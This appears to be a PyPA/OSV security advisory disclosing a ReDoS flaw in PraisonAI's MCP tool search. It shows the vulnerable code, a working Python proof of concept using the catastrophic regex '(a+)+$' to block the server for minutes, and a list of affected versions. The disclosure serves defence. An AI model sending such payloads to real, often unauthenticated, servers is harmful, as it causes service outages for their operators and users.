PYSEC-2026-2907

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Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-2907.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-2907
Aliases
Published
2026-07-13T14:36:46.648262Z
Modified
2026-07-13T16:32:35.516187260Z
Severity
  • 6.5 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()
Details

Summary

MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.

Details

tool_index.py:365 (source) -> tool_index.py:368 (sink)

# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
    import re

# sink -- compiled and applied with no timeout or exception handling
    pattern = re.compile(query, re.IGNORECASE)
    for tool in self.get_all_tools():
        if pattern.search(tool.name) or pattern.search(tool.hint):
            matches.append(tool)

PoC

# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path

mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
    {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
    "server": "test_server", "available": True, "auth_required": False,
    "last_sync": time.time(), "tool_count": 1, "error": None
}))

from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()

start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0s

Impact

A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.

References

Affected packages

PyPI / praisonai

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
4.5.90

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29
0.0.30
0.0.31
0.0.32
0.0.33
0.0.34
0.0.35
0.0.36
0.0.37
0.0.38
0.0.39
0.0.40
0.0.41
0.0.42
0.0.43
0.0.44
0.0.45
0.0.46
0.0.47
0.0.48
0.0.49
0.0.50
0.0.52
0.0.53
0.0.54
0.0.55
0.0.56
0.0.57
0.0.58
0.0.59rc2
0.0.59rc3
0.0.59rc5
0.0.59rc6
0.0.59rc7
0.0.59rc8
0.0.59rc9
0.0.59rc11
0.0.59
0.0.61
0.0.64
0.0.65
0.0.66
0.0.67
0.0.68
0.0.69
0.0.70
0.0.71
0.0.72
0.0.73
0.0.74
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.1.7
0.1.8
0.1.9
0.1.10
1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.8
1.0.9
1.0.10
1.0.11
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.5
2.0.6
2.0.7
2.0.8
2.0.9
2.0.10
2.0.11
2.0.12
2.0.13
2.0.14
2.0.15
2.0.16
2.0.17
2.0.18
2.0.19
2.0.20
2.0.22
2.0.23
2.0.24
2.0.25
2.0.26
2.0.27
2.0.28
2.0.29
2.0.30
2.0.31
2.0.32
2.0.33
2.0.34
2.0.35
2.0.36
2.0.37
2.0.38
2.0.39
2.0.40
2.0.41
2.0.42
2.0.43
2.0.44
2.0.45
2.0.46
2.0.47
2.0.48
2.0.49
2.0.50
2.0.51
2.0.53
2.0.54
2.0.55
2.0.56
2.0.57
2.0.58
2.0.59
2.0.60
2.0.61
2.0.62
2.0.63
2.0.64
2.0.65
2.0.66
2.0.67
2.0.68
2.0.69
2.0.70
2.0.71
2.0.72
2.0.73
2.0.74
2.0.75
2.0.76
2.0.77
2.0.78
2.0.79
2.0.80
2.0.81
2.1.0
2.1.1
2.1.4
2.1.5
2.1.6
2.2.1
2.2.2
2.2.3
2.2.4
2.2.5
2.2.6
2.2.7
2.2.8
2.2.9
2.2.10
2.2.11
2.2.12
2.2.13
2.2.14
2.2.15
2.2.16
2.2.17
2.2.18
2.2.19
2.2.20
2.2.21
2.2.22
2.2.24
2.2.25
2.2.26
2.2.27
2.2.28
2.2.29
2.2.30
2.2.31
2.2.32
2.2.33
2.2.34
2.2.35
2.2.36
2.2.37
2.2.38
2.2.39
2.2.40
2.2.41
2.2.42
2.2.43
2.2.44
2.2.45
2.2.46
2.2.47
2.2.48
2.2.49
2.2.50
2.2.51
2.2.52
2.2.53
2.2.54
2.2.55
2.2.56
2.2.57
2.2.58
2.2.59
2.2.60
2.2.61
2.2.62
2.2.63
2.2.64
2.2.65
2.2.66
2.2.67
2.2.68
2.2.69
2.2.70
2.2.71
2.2.72
2.2.73
2.2.74
2.2.75
2.2.76
2.2.77
2.2.78
2.2.79
2.2.80
2.2.81
2.2.82
2.2.83
2.2.84
2.2.86
2.2.87
2.2.88
2.2.89
2.2.90
2.2.91
2.2.93
2.2.95
2.2.96
2.2.97
2.2.98
2.2.99
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.3.5
2.3.6
2.3.7
2.3.8
2.3.9
2.3.10
2.3.11
2.3.12
2.3.13
2.3.14
2.3.15
2.3.16
2.3.18
2.3.19
2.3.20
2.3.21
2.3.22
2.3.23
2.3.24
2.3.25
2.3.26
2.3.27
2.3.28
2.3.29
2.3.30
2.3.31
2.3.32
2.3.33
2.3.34
2.3.35
2.3.36
2.3.37
2.3.38
2.3.39
2.3.40
2.3.41
2.3.42
2.3.43
2.3.44
2.3.45
2.3.46
2.3.47
2.3.48
2.3.49
2.3.50
2.3.51
2.3.52
2.3.53
2.3.54
2.3.55
2.3.56
2.3.57
2.3.58
2.3.59
2.3.60
2.3.61
2.3.62
2.3.63
2.3.64
2.3.65
2.3.66
2.3.67
2.3.68
2.3.69
2.3.70
2.3.71
2.3.72
2.3.73
2.3.74
2.3.75
2.3.76
2.3.77
2.3.78
2.3.79
2.3.80
2.3.81
2.3.82
2.3.83
2.3.84
2.3.85
2.3.86
2.3.87
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.5.0
2.5.1
2.5.2
2.5.3
2.5.4
2.5.5
2.5.6
2.5.7
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.6.6
2.6.7
2.6.8
2.7.0
2.8.3
2.8.4
2.8.5
2.8.6
2.8.7
2.8.8
2.8.9
2.9.0
2.9.1
2.9.2
3.*
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.0.8
3.0.9
3.1.0
3.1.1
3.1.2
3.1.3
3.1.4
3.1.5
3.1.6
3.1.7
3.1.8
3.1.9
3.2.0
3.2.1
3.3.0
3.3.1
3.4.0
3.4.1
3.5.0
3.5.1
3.5.2
3.5.3
3.5.4
3.5.5
3.5.6
3.5.7
3.5.8
3.5.9
3.6.0
3.6.1
3.6.2
3.7.0
3.7.1
3.7.2
3.7.3
3.7.4
3.7.5
3.7.6
3.7.7
3.7.8
3.7.9
3.8.0
3.8.1
3.8.2
3.8.3
3.8.4
3.8.5
3.8.6
3.8.7
3.8.8
3.8.9
3.8.10
3.8.11
3.8.12
3.8.13
3.8.14
3.8.16
3.8.17
3.8.18
3.8.19
3.8.20
3.8.21
3.8.22
3.9.0
3.9.1
3.9.2
3.9.3
3.9.4
3.9.5
3.9.6
3.9.7
3.9.8
3.9.9
3.9.10
3.9.11
3.9.12
3.9.13
3.9.14
3.9.15
3.9.16
3.9.17
3.9.18
3.9.19
3.9.20
3.9.21
3.9.22
3.9.23
3.9.24
3.9.25
3.9.26
3.9.27
3.9.28
3.9.29
3.9.30
3.9.31
3.9.32
3.9.33
3.9.34
3.9.35
3.10.0
3.10.1
3.10.2
3.10.3
3.10.4
3.10.5
3.10.6
3.10.7
3.10.8
3.10.9
3.10.10
3.10.11
3.10.12
3.10.13
3.10.14
3.10.15
3.10.16
3.10.17
3.10.18
3.10.19
3.10.20
3.10.21
3.10.22
3.10.23
3.10.24
3.10.25
3.10.26
3.10.27
3.11.0
3.11.1
3.11.2
3.11.3
3.11.4
3.11.8
3.11.9
3.11.10
3.11.11
3.11.12
3.11.13
3.11.14
3.12.0
3.12.1
3.12.2
3.12.3
4.*
4.0.0
4.1.0
4.2.0
4.2.1
4.2.2
4.2.3
4.2.4
4.3.0
4.3.1
4.4.0
4.4.2
4.4.3
4.4.4
4.4.5
4.4.6
4.4.7
4.4.8
4.4.9
4.4.10
4.4.11
4.4.12
4.5.0
4.5.1
4.5.2
4.5.3
4.5.5
4.5.6
4.5.7
4.5.8
4.5.9
4.5.10
4.5.11
4.5.12
4.5.13
4.5.14
4.5.15
4.5.16
4.5.18
4.5.19
4.5.20
4.5.21
4.5.22
4.5.23
4.5.24
4.5.25
4.5.26
4.5.27
4.5.28
4.5.29
4.5.30
4.5.31
4.5.32
4.5.33
4.5.34
4.5.35
4.5.36
4.5.37
4.5.38
4.5.39
4.5.40
4.5.41
4.5.42
4.5.43
4.5.44
4.5.45
4.5.46
4.5.48
4.5.49
4.5.51
4.5.52
4.5.54
4.5.55
4.5.56
4.5.57
4.5.58
4.5.59
4.5.60
4.5.62
4.5.63
4.5.64
4.5.65
4.5.67
4.5.68
4.5.69
4.5.70
4.5.71
4.5.72
4.5.73
4.5.74
4.5.76
4.5.77
4.5.78
4.5.79
4.5.80
4.5.81
4.5.82
4.5.83
4.5.85
4.5.87
4.5.88
4.5.89

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-2907.yaml"